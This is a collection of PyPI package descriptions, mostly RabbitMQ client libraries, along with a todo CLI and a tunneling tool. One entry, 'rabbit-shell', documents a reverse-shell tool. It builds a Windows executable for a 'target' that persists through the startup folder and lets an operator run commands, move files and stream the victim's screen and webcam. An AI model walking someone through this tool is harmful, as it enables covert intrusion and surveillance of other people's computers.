Saravanan666/pypi-org huggingface dataset:
Package: rabbitmq-rpc
RPC based on rabbitmq, cloned fromhereHow To UseThe orignal code can just be runned in console and has problems in windows(Server side). So I modified some code.
Now, the server side supports both pika.BlockConnection and pika.SelectionConnection.
In BlockConnection mode, the server side can only be runned in single thread. In SelectionConnection mode,
the server can be runned in multi-threads(Not in windows).Install:pip install rabbitmq-rpcUsage:1.Create rabbitmq account in your rabbitmq server.2.Run server.py first and then run client.pyServer.pyfromrabbitmq_rpcimportserverasServerserver=Server.RPCServer(queue_name='default',amqp_url="amqp://yourname:yourpasswd@10.147.17.135:5672/",threaded=False)@server.consumer()defadd(a,b):returna+bif__name__=='__main__':server.run()Client.pyfromrabbitmq_rpc.clientimportRPCClientimporttimedefadd(i):t1=time.time()client=RPCClient(amqp_url='amqp://yourname:yourpasswd@10.147.17.135:5672/')res=client.call_add(0,i)t2=time.time()print(f"{0}+{i}={res}RPC Time Cost:{t2-t1:.2f}")returnresforiinrange(300):obj=add(i)Client with flask: client_with_flask.pyfromrabbitmq_rpc.clientimportRPCClientimportflaskweb=flask.Flask(__name__)web.debug=Trueimporttimedefadd(i):t1=time.time()client=RPCClient(amqp_url='amqp://yourname:yourpasswd@10.147.17.135:5672/')res=client.call_add(0,i)t2=time.time()print(f"{0}+{i}={res}RPC Time Cost:{t2-t1:.2f}")returnres@web.route('/web/<n>')deftest_web(n):res=add(int(n))returnstr(res)if__name__=='__main__':# Notice, In default, flask enabled threading.# If single-thread is needed, pass in 'threaded=False' optionweb.run(host='0.0.0.0',use_reloader=False)*Note:RPCClientis not thread-safe. This is because pika is not thread-safe.
So, create a RPCClient object only in one thread. DO NOT use it in multi-threads. *OriginalREADMENote: replace rabbit_rpc with rabbitmq_rpc==========
Rabbit RPC 
==========

简述
----

这是对 RabbitMQ 的 Pika_ 库进行封装的，一套简易 RPC 客户端/服务端库。


安装说明
--------

::

    pip install rabbit-rpc
    


使用事例
--------

服务端
~~~~~~

::

    # project/consumers.py

    from rabbit_rpc.consumer import consumer

    @consumer(name='add')
    def add(a, b):
        return a + b


    # project shell
    rabbit_rpc worker --amqp 'amqp://guest:guest@localhost:5672/'


    # with django

    rabbit_rpc worker --amqp 'amqp://guest:guest@localhost:5672/' --django project
    


客户端
~~~~~~

::
    
    from rabbit_rpc.client import RPCClient

    client = RPCClient(amqp_url='amqp://guest:guest@localhost:5672/')
    ret = client.call_add(1, 1, timeout=1)

    # or ignore result
    client.call_add(1, 1, ignore_result=True)

    # specify routing_key
    client.call_add(1, 1, routing_key='default')


.. _Pika: https://github.com/pika/pika
Package: rabbitmqsimple
RabbitMQSimplerabbitmq-simple is a Python package that contains handy functions for interacting with RabbitMQ Library for managing multi tenant application.Installation and updatingUse the package managerpipto install RabbitMQSimple like below.
Rerun this command to check for and install  updates .pipinstallrabbitmqsimpleUsageDemo of some of the features:How to create distributionDelete existing dist folder on project root directoryExecute below command on project root directory
** python3 setup.py sdistHow to upload distribution to pypi
python3 -m twine upload --repository pypi dist/*
Package: rabbitmq-spider
rabbitmq-spiderrabbitmq-spider is an open-source tool that helps with web scraping by using RabbitMQ and Scrapy to distribute and scale
scraping tasks across multiple instances.Inpsired byscrapy-redis.FeaturesIt only uses RabbitMQ for message generation tasks and does not use RabbitMQ to implement Scrapy’s queue.It can automatically acknowledge (ack) or negatively acknowledge (nack) messages based on the response results.Installationpipinstallrabbitmq_spiderUsage1.Add config values:RABBITMQ_HOST='localhost'RABBITMQ_PORT='5672'RABBITMQ_USERNAME='guest'RABBITMQ_PASSWORD='guest'RABBITMQ_VIRTUAL_HOST='/'SPIDER_MIDDLEWARES={'rabbitscrape.middlewares.RabbitmqSpiderMiddleware':49,}2.Add RabbitMQSpider to your spiderimportjsonfromrabbitmq_spider.spidersimportRabbitMQSpiderfromscrapyimportRequestclassYourSpider(RabbitMQSpider):"""Demo"""name='demo'routing_key='demo.queue'defmake_request_from_data(self,data):msg_dict=json.loads(data)url=msg_dict['url']returnRequest(url)defparse(self,response,**kwargs):self.logger.debug(response.status)LicenseThis project is licensed under the MIT License - see the LICENSE file for details.
Package: rabbitmqStats
Currently the RabbitMQ Admin Plugin only keeps up to the last days worth
of stats. This is to allow the gathering of RabbitMQ stats so that it
can be retained for longer periods of time. The stats are written to a
file in json format and can later be parsed and/or input into systems
like (Logstash, Elasticsearch…) for further analysis and graphing.Getting startedInstallation (Preferred)$ pip installl rabbitmqStatsInstallation (Alternative)Download .tar.gz file from /dist directory and pip install$ wgethttps://raw.githubusercontent.com/CodeBleu/rabbitmqStats/develop/rabbitmqStats-VERSION.tar.gz$ pip install rabbitmqStats-VERSION.tar.gzAfter install run the following to see default opitions:$ rbqstats –helpDevelopmenthttps://github.com/CodeBleu/rabbitmqStatsWant to contribute? Great! No specifics at this point. Just basic GitHub
Fork and Pull request on the ‘development’ branch.For further info, see [github guide] on contributing to opensource
project.After cloning your Forked branch locally, You can run the program by
running the following:$ ./main.py –helpTodosBetter documentationAdd config file for CLImore testingLicenseMIT [LICENSE.txt]
Package: rabbitmq-subprocess-client
RabbitMQ-subprocess-clientRabbitMQ-subprocess-client is a RabbitMq client (based onpika) spawning tasks as subprocess, allowing handling segfault gracefully.Installpipinstallrabbitmq-subprocess-clientusageimportosfromconcurrent.futuresimportTimeoutErrorimporttracebackfromrabbitmq_subprocess_clientimportRunner,ConsumerclassMyConsumer(Consumer):defconsume_main(self,basic_deliver,msg):print(f'pre-processing message:{msg}in process:{os.getpid()}')try:args=[]kwargs={}self.exec(msg,*args,**kwargs)# This will run the consume_subprocess method in a subprocessself.acknowledge_message(basic_deliver.delivery_tag)exceptTimeoutError:self.nacknowledge_message(basic_deliver.delivery_tag)exceptBaseException:exc_msg=traceback.format_exc()print(exc_msg)self.nacknowledge_message(basic_deliver.delivery_tag)@staticmethoddefconsume_subprocess(msg,*args,**kwargs):print(f'processing message:{msg}in process:{os.getpid()}')worker=Runner('my_queue',MyConsumer,host="127.0.0.1",port="5672",user="guest",password="guest",timeout=None,)worker.run()developpoetryshell
poetryinstall
pytest
pre-commitinstallPublish new versionpoetrypublish--build--username=--password=
Package: rabbitmq-tool
rabbitmq-toolA RabbitMQ CLIFeatures:manage bindingsinspect exchanges and queuesshow all exchanges and queuescreate and delete exchanges and queuesInstallationpip install rabbitmq-toolUsage ExamplesSee--helpfor more information.Create exchange$ rabbitmq-tool --url http://localhost:15672 --username guest create-exchange myexchangeCreate queue$ rabbitmq-tool --url http://localhost:15672 --username guest create-queue myqueueBind exchange and queue$ rabbitmq-tool --url http://localhost:15672 --username guest bind --exchange myexchange --queue myqueue --routing '#'
Package: rabbitmq-toolkit
RabbitMQ ToolkitRabbitMQ Toolkit is a comprehensive package designed to simplify RabbitMQ operations. It encapsulates the core functionalities into three intuitive classes:QueueManager,Producer, andConsumer, streamlining the process of message queueing, producing, and consuming.InstallationInstall the package via pip:pipinstallrabbitmq_toolkitFeaturesQueueManager: Effortlessly manage your RabbitMQ queues.Producer: Produce messages with ease, ensuring they're properly queued.Consumer: Robustly consume messages, with built-in mechanisms to handle common scenarios.Usage ExampleProducerInproducer.py:fromrabbitmq_toolkitimportQueueManager,Producer# Initialize the Queue Manager and declare a queuequeue_mgr=QueueManager()queue_name="sample_queue"queue_mgr.declare_queue(queue_name)# Produce a messageproducer=Producer(queue_mgr)producer.send_message(queue_name,"Hello from RabbitMQ Toolkit!")Runproducer.pyin terminal:pythonproducer.pyConsumerInconsumer.py:fromrabbitmq_toolkitimportQueueManager,Consumer# Initialize the Queue Managerqueue_mgr=QueueManager()queue_name="sample_queue"# We use declare_queue for both can operate independently and can be started in any order.queue_mgr.declare_queue(queue_name)# Consume the messagedefcallback(message):print(f"Received:{message}")consumer=Consumer(queue_mgr)consumer.start_consuming(queue_name,callback)Runconsumer.pyin other tab terminal:pythonconsumer.pyNote:This provides a clear distinction between the Producer and Consumer, showcasing how they can be used in separate files.
Package: rabbitmq_worker
RabbitmqWorker - Python worker for RabbitmqRabbitmqWorker is a worker for rabbitmq which automatically reconnect to the broker if any disconnection occurs.Why?The main library used to manage asynchronous tasks in python is Celery. Celery has its own internal message pattern that must be respected for celery to be able to interpret the messages correctly. In our architecture, we use microservices with multiple language where their task client does not follow Celery's message principle.The scope of this library is to make an simple library to manage every kind of message from rabbitmq.InstallationRabbitmqWorker is avaiable fromPyPI. You can install it with pip.$ pip install rabbitmq_workerUsageInstanciate aRabbitmqWorkerwith the appropriate configuration to your needs and run it. E.g:defprocess_message(channel,basic_deliver,properties,body):print(body)channel.basic_ack(basic_deliver.delivery_tag)rabbitmq_worker=RabbitmqWorker(amqp_url="amqp://guest:guest@localhost:5672/%2F",queue_name="my_queue",callback=process_message)rabbitmq_worker.run()RabbitmqWorker usepikaunder the hood so your amqp_url must be compliant withURLParameters(https://pika.readthedocs.io/en/stable/modules/parameters.html#urlparameters) object.
Package: rabbitmq-wrapper
Rabbit MQ WrapperCreate a class to rapid implementation of rabbitmq on your projectIf you use or like the project, clickStarandWatchto generate metrics and i evaluate project continuity.Obs: Notes this implementatio usepikaas a basis.Install:pip install rabbitmq-wrapperUsage:Import RabbitWrapper Class:from rabbitmq_wrapper import RabbitWrapperCreate a configuration dict:{
   'ENABLED': True,
   'USE_EXCHANGE': '',

   # QUEUES
   'DEFAULT_QUEUE': 'my_queue',
   'DEADLETTER_QUEUE': 'my_queue_deadletter',  # default is setted to f"DEFAULT_QUEUE_deadletter"
   'ALLOWED_QUEUES': ['my_queue', 'my_queue_deadletter'],  # default is [DEFAULT_QUEUE, DEADLETTER_QUEUE]

   # CONNECTION
   'CONNECTION': {
      # see all parameters on https://pika.readthedocs.io/en/stable/modules/parameters.html#connectionparameters, https://pika.readthedocs.io/en/stable/modules/credentials.html#module-pika.credentials
      'HOST': '',
      'PORT': '',
      'USERNAME': '',
      'PASSWORD': ''
   },
   # if your prefer, you can use url connection
   'CONNECTION': {
      'URL': 'amqp://',
   }

   # Consumers
   'CONSUMERS': [
      # See all parameters on https://pika.readthedocs.io/en/stable/modules/channel.html#pika.channel.Channel.basic_consume 
      # Obs the param "on_message_callback" is replaced by callback and receive string with callback function path
      {'queue': 'email_service', 'callback': 'app.callbacks.MyReceiver', 'auto_ack': False}
   ]
}Instance with settingsRabbitWrapper(config={ ... })
# or if your use django, you can put config on settings.py, and pass a name to instance
RabbitWrapper(name=MyCustomConfig)
# in settings.py:
RABBIT_MyCustomConfig = { ... }Use Message Receive Wrapper Class:from rabbitmq_wrapper import CallbackWrapper

class MyReceiver(CallbackWrapper):
   NAME = ''  # Name used to instance RabbitWrapper or None
   CONFIG = None  # Config used to instance RabbitWrapper or None
   
   def consume_data(self, raw_msg):
      # Your logic here.
      self.msg_ack()OthersSee custom methods on CallbackWrapper:Message ACKself.msg_ack()Parse data to json# Obs: Name or Config in class params needed to use param deadletter_on_error
self.msg_json_parser(data={}, deadletter_on_error=False, ack_on_error=False)Resend msg to queue# Obs: Name or Config in class params needed to use this
self.msg_resend(self, data, queue=None, json=True) # params: data (data to resend), queue (queue to resend), json (parse data to json).Move msg to deadletter# Obs: Name or Config in class params needed to use this
self.msg_deadletter(self, data, queue=None, json=True) # params: (data to move), queue (queue to move), json (parse data to json)
Package: rabbitplus
使用手册快速开始生产者importrabbitplusproducer=rabbitplus.RabbitProducer("docker.kancy.top","root","root123")producer.putQueue("test","pika.test.queue")# 注册交换机producer.registerExchange("pika.test.exchange",'direct')# 注册队列producer.registerQueue("pika.test.queue",durable=True)# 绑定交换机很队列producer.bind("pika.test.exchange","pika.test.queue")消费者importrabbitplusdefhandle_message(data,**kwargs):print(kwargs)consumer=rabbitplus.RabbitConsumer("docker.kancy.top","root","root123")consumer.onListener("pika.test.queue",callback=handle_message)
Package: rabbitpy
A pure python, thread-safe, minimalistic and Pythonic BSD Licensed
AMQP/RabbitMQ library that supports Python 2.7+ and Python 3.4+.
rabbitpy aims to provide a simple and easy to use API for interfacing with
RabbitMQ, minimizing the programming overhead often found in other libraries.Installationrabbitpy may be installed via the Python package index with the tool of
your choice. I prefer pip:pipinstallrabbitpyBut there’s always easy_install:easy_installrabbitpyDocumentationDocumentation is available onReadTheDocs.RequirementspamqpVersion HistoryAvailable athttps://rabbitpy.readthedocs.org/en/latest/history.html
Package: rabbitqueues-beeflow
Rabbit queuesApplication to manage RabbitMQ queuesConfigurationInto thesetup.pyfile add:INSTALLED_APPS=[..."rabbitqueues",]and add (i.e.):RABBITMQ_HOSTNAME="localhost"RABBITMQ_PORT=5672RABBITMQ_USERNAME="rabbitusername"RABBITMQ_PASSWORD="supersecretpassword"RABBITMQ_VHOST="/"Own consumersTo prepare own conumer you need to createclasswhich will extendAbstractManager. and register it in
dictionaryRABBITMQ_QUEUE_CONSUMERS = {"consumer_name": consumer_class}insetup.py.Publish to the queue exampleimportjsonfromdjango.confimportsettingsfromrabbitqueuesimportRabbitQueuequeue=RabbitQueue(settings.RABBITMQ_EMAIL_QUEUE)queue.basic_publish(routing_key=settings.RABBITMQ_EMAIL_QUEUE,body=json.dumps({"subject":"some subject","email_from":settings.DEFAULT_FROM_EMAIL,"recipient_list":["test@test.com"],"message":"This is the message for user.",}),)queue.close()
Package: rabbit-rpc
简述这是对 RabbitMQ 的Pika库进行封装的，一套简易 RPC 客户端/服务端库。安装说明pip install rabbit-rpc使用事例服务端# project/consumers.py

from rabbit_rpc.consumer import consumer

@consumer(name='add')
def add(a, b):
    return a + b


# project shell
rabbit_rpc worker --amqp 'amqp://guest:guest@localhost:5672/'


# with django

rabbit_rpc worker --amqp 'amqp://guest:guest@localhost:5672/' --django客户端from rabbit_rpc.client import RPCClient

client = RPCClient(amqp_url='amqp://guest:guest@localhost:5672/')
ret = client.call_add(1, 1, timeout=1)

# or ignore result
client.call_add(1, 1, ignore_result=True)

# specify routing_key
client.call_add(1, 1, routing_key='default')
Package: rabbit-shell
Rabbit-shellRabbit shell advanced reverse shell tool.Installation.By pip.pipinstallrabbit_shellinstall using pypi.orBy clone.gitclonehttps://github.com/greedalbadi/rabbit-shell.gitcdrabbit-shell
pipinstall.install using git clone.steps.1 - Install rabbit-shell tool.2 - Generate your key using--keycommand.example:rsb --key3 - run tool on your server using--servercommand along with your serverip addressandport.example:rsb --server -a 192.168.0.111 -p 99994 - Generate exe for target using--clientalong with your serverip addressandport.example:rsb --client -a 192.168.0.111 -p 99995 - now to start controlling target on your main device prefferred on windows run--authcommand.example:rsb --auth -a 192.168.0.111 -p 9999now when your target run your exe will it will be connected and you will can control your target.Usage.rsb--helpprint available arguments with a tiny explain or just rsb.Run server and start listening.rsb--server-a192.168.0.111-p9999--server is args container-a is server or device ip address-p is wich port you'll be listening toThere'll be a seperate socket for file transfering the port is whaever enter - 1, If main server port 9999file transfer port well be 9998, the files are going to trans to wherever your location is.Log to server as author.rsb--auth-a192.168.0.111-p9999--auth is args container-a is server or device ip address-p is wich port you'll be listening to server and contacts-k (optional) use keyconnect to your server as an author and control your own clients.Generate exe for the target.rsb--client-a192.168.0.111-p9999--client is args container-a is server or device ip address-p is wich port you'll be listening toThis will generate an exe inside a dist directory you may delete build folder, when the exe runs It'll createa shortcut in startup folder if the system is windows.Generate new key\insert key\show key.rsb--keygenerate a new key and save it in data\basic.py.Commands to use from server side.To request server information.>:serverServer host and port also the tool version and tool name.To list all clients.>:listList online and offline clients use, device address, and more.To set and controll a client console by client use number from the list.>: set 0To controle client console you can git client set number from using the command listand use the command >: set (client use number).Quit client session.>:quitQuit client console without losing connection with client, used to things like changing to another set or gain info.Send file to client.>:file:filenameRequest file from client.>:reqfile:filenamestreamstreaming will be done by wich client is sending frames to the serverso make sure that it's one client whom send's stream frames and stop other streams to be safe, after you'r done with the stream stop it using>: stream:stop.stream current client screen.>:stream:screenstream current client webcam.>:stream:camstop stream>:stream:stopmake sure you stop the stream when you want to start streaming another client.About.by@greedalbadiThis tool uses MIT license.made with depression <3
Package: rabbitstew
A small command-line tool that adheres to the Unix philospohy for publishing
messages to RabbitMQ.rabbitstewtakes input fromstdinand publishes a message per line
received. You can customize the exchange and routing key used, along with
message properties. Additionally, you can enable publisher confirmations if
desired.Installationrabbitstew is available from thePython Package Indexand can be installed viapiporeasy_install.Usage Examplecat/var/log/messages|rabbitstew-Hrabbit-server-rsyslog.messagesCLI Optionsusage: rabbitstew [-h] [-H HOST] [-p PORT] [-s] [-v VHOST] [-u USER]
                  [-P PASSWORD] [-W] [-e EXCHANGE] [-r ROUTING_KEY] [-c]
                  [--add-user] [--app-id APP_ID] [--auto-id]
                  [--content-type VALUE] [--type TYPE] [-V] [--version]

RabbitMQ message publisher

optional arguments:
  -h, --help            show this help message and exit
  -H HOST               Server hostname (default: localhost)
  -p PORT               Server port (default: 5672)
  -s                    Use SSL to connect (default: False)
  -v VHOST              Server virtual host (default: /)
  -u USER               Server username (default: guest)
  -P PASSWORD           Server password (default: guest)
  -W                    Prompt for password (default: False)
  -f PATH               Read password from a file (default: None)
  -e EXCHANGE           Exchange to publish to (default: None)
  -r ROUTING_KEY        Routing Key to use (default: None)
  -c                    Confirm delivery of each message, exiting if a message
                        delivery could not be confirmed (default: False)
  --add-user            Include the user in the message properties (default: False)
  --app-id APP_ID       Specify the app-id property of the message (default: rabbitstew)
  --auto-id             Create a unique message ID for each message (default: False)
  --content-type VALUE  Specify the content type of the message (default: None)
  --type TYPE           Specify the message type (default: None)
  -V                    Verbose output (default: False)
  --version             show program's version number and exitVersion History0.1.0 - released2015-02-02Initial Release
Package: rabbit-todo
:rabbit: Rabbit :rabbit:The Simple Todo Tool in CLIDescriptionRabbit is a minimalistic CLI tool designed for managing your todos without leaving the terminal.
It's fast, it's simple, and it's just a command away.FeaturesAdd new tasksRemove completed tasksMark tasks as doneList all tasksInstallationpipinstallrabbit-todoUsageNote: The command is intentionally shortened torabifor ease to use.Add a new taskrabiadd"Add new feature to my awsome project"Remove a taskrabiremove0Mark a task as donerabidone0List all tasksrabilistContributingPull Requests are welcome.
For major changes, please open an issue first to discuss what you would like to change.
Package: rabbit-tunnel
rabbit-tunnelPublish your local server to public via rabbit-tunnel.pipinstallrabbit-tunnel

rt-nhello-p8080-shrtunnel.io# Now you can access 127.0.0.1:8080 via http(s)://hello.rtunnel.iousage:rt[-h]-nNAME-pPORT[-lhLOCAL_HOST]-shSERVER_HOST[-spSERVER_PORT][--server-no-tls]Publishyourlocalservertopublicviarabbit-tunnel

optionalarguments:-h,--helpshowthishelpmessageandexit-nNAME,--nameNAMEnametoregister(appendprefix!toforce)-pPORT,--portPORTlocalporttoconnect-lhLOCAL_HOST,--local-hostLOCAL_HOSTlocalhosttoconnect(default:127.0.0.1)-shSERVER_HOST,--server-hostSERVER_HOSTrabbit-tunnel-serverhost-spSERVER_PORT,--server-portSERVER_PORTrabbit-tunnel-serverport(default:443)--server-no-tlsdisableTLSconnectiontorabbit-tunnel-serverRequirementsPython 3.7 - 3.10
Package: rabbit-tunnel-server
rabbit-tunnel-serverA python-based server implementation for rabbit-tunnel.rt-server-sdrtunnel.ioRequirementsPython 3.7 - 3.10Current LimitationsNo unit testsNo public APIs for controlNo authentificationNo horizontal scalingReverse proxy such as nginx is highly recommended to overcome the limitations below. The example configuration of nginx webserver is available atassets/nginx.conf.Robustness to malformed HTTP requestsHTTP/21Better handling of HTTP keep-alive session2HTTP response modification1rabbit-tunnel-serveruses the host header in HTTP requests to determine the targetrabbit-tunnelinstance, but in a HTTP keep-alive session, multiple HTTP requests with different host header can come in the same TCP connection. In that case,rabbit-tunnel-serveruses the first HTTP request to determinte the targetrabbit-tunnelinstance and assume that subsequent HTTP requests will have the same target. To overcome this limitation, you can set-up the reverse proxy to initiate new TCP connection when the host header is changed, or even can disable HTTP keep-alive session between the reverse proxy andrabbit-tunnel-server(which is the default behavior of reverse proxies such asnginx).2rabbit-tunnel-serverdoes not interpret any HTTP responses and proxies them as it is. Therefore, for example, the host header in HTTP response may not have the value that clients requested unless tunneled webserver explicitly set them. To overcome this limitation, you can set-up the reverse proxy to properly modify the host header.Protocol SpecificationTBD